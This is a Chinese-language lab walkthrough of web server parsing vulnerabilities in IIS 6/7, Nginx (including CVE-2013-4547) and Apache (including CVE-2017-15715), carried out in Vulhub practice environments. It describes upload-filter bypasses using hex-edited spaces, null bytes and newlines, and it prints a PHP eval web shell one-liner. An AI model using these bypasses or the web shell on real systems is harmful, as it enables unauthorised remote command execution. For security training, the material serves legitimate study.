中间件解析漏洞

一、iis

1、IIS6.X

1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件

2.在x.asp中新建⼀个jpg⽂件。内容为 asp代码  

3.在外部浏览器中访问windows2003的iis⽹站中的2.jpg 发现asp代码被执⾏

4.将2.jpg⽂件放到⽹站根⽬录下访问，发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏

2、IIS7.X

 1.将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访 问

2.添加Shell并链接 

二、nginx

 1、nginx_parsing

进⼊以下Vulhub路径并开启容器，浏览器中访问⽹站

 制作图⽚⻢并进⾏上传...获取上传⽂件地址

 

访问以下路径，利⽤Nginx解析漏洞

 http://172.16.1.12/uploadfiles/18e2999891374a475d0687ca9f989d83.jpg/.php

2、CVE-2013-4547

开启靶机并访问靶场

直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格；上传成功

在.jpg后⾯添加两个空格并给上 .php 后缀，在16进制修改中将原本两个空格的 0x20 0x20 修改为如下即 0x20 0x00 进⾏发包

 

访问上传后的⽂件....由于url会将其编码，需要继续抓包修改 0x20 0x20 为 0x20 0x00

 

 

使用工具连接查看

三、apache

1、apache_parsing

进⼊Vulhub靶场并执⾏以下命令启动靶场

访问靶机并上传 shell.php.jpg ⽂件，⽂件内容为

<?php eval($_POST["cmd"]);?>

 

 

上传成功后与⽹站进⾏路径拼接

访问⽣成的shell.php并执⾏命令

2、CVE-2017-15715

进⼊Vulhub靶场并开启⽬标靶机，进⾏访问

尝试上传⼀句话⽊⻢⽂件，发现被拦截

在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功

访问上传的evil⽂件在后⾯加上 存在解析漏洞

使用工具连接查看